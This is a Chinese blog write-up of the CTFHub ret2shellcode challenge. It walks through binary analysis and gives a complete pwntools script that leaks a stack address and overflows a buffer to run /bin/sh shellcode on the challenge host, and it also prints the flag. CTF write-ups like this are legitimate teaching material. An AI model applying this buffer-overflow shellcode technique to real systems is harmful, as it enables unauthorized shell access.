CTFHubret2shellcode-入土为安的第十三天

简介: CTFHubret2shellcode-入土为安的第十三天

checksec pwn

没有开保护 并且是64位的

放入IDa64

shift+f12 查看字符串

发现没有shell

f5查看主函数

read函数,点进去buf

0x010,0x08.

buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode

  • recvuntil 函数会一直读取数据,直到遇到指定的终止字符(']'),这有助于确保你从远程服务接收到了完整的、包含有用信息的数据。  eg:Buffer address: 0x7fffffffe000]
  • shellcode:
  • 这是实际的 shellcode 字节码,之前通过 asm(shellcraft.sh()) 生成的。
  • 它的作用是执行一个 shell(/bin/sh)。这个 shellcode 将在缓冲区溢出后被执行。
  • p64pwntools 提供的一个函数,它将 shellcode_addr 转换为 64 位的小端格式(8 字节)。

from pwn import *
import re
context.arch='amd64'
shellcode=asm(shellcraft.sh())
p=remote('challenge-d40d1cb161bcae57.sandbox.ctfhub.com',24552)
buf_addr=p.recvuntil(']')  #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16)  #处理一下 然后为16进制
shellcode_addr=buf_addr+32   #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

ctfhub{52391a33853a4935e36d7ae5}

目录
相关文章
|
5月前
|
NoSQL 容器 消息中间件
番外篇 中国古代的操 作系统
番外篇 中国古代的操 作系统
|
2月前
|
安全
babystack2.0-入土为安的第十六天
babystack2.0-入土为安的第十六天
35 0
|
2月前
[LitCTF 2023]程序和人有一个能跑就行了 入土为安的第五天
[LitCTF 2023]程序和人有一个能跑就行了 入土为安的第五天
32 0
|
2月前
[MoeCTF 2022]rop32-入土为安的第十八天
[MoeCTF 2022]rop32-入土为安的第十八天
32 0
|
2月前
signin-入土为安的第十九天
signin-入土为安的第十九天
43 0
|
2月前
[MoeCTF 2022]ezTea-入土为安的第十九天
[MoeCTF 2022]ezTea-入土为安的第十九天
29 0
|
2月前
|
安全
[MoeCTF 2022]babyfmt-入土为安的第十九天
[MoeCTF 2022]babyfmt-入土为安的第十九天
38 0
|
2月前
|
Python
[MoeCTF 2022]EquationPy-入土为安的第十九天
[MoeCTF 2022]EquationPy-入土为安的第十九天
39 0
|
机器学习/深度学习 数据采集 数据挖掘
【每周一坑】矩阵旋转
给定一个 N * N 的矩阵(N >= 0),将其顺时针旋转 90°.输出处理之后的矩阵。
|
数据采集 数据挖掘 Python
【每周一坑】田忌赛马
如果你是某公子手下的谋士,已知同级别中己方的马优于田忌的马,事先不知道对方派遣顺序,不过可以根据上一轮对方的派出的马匹制定本轮的选择。为公子制定一种派遣策略,使赢得比赛的几率最大。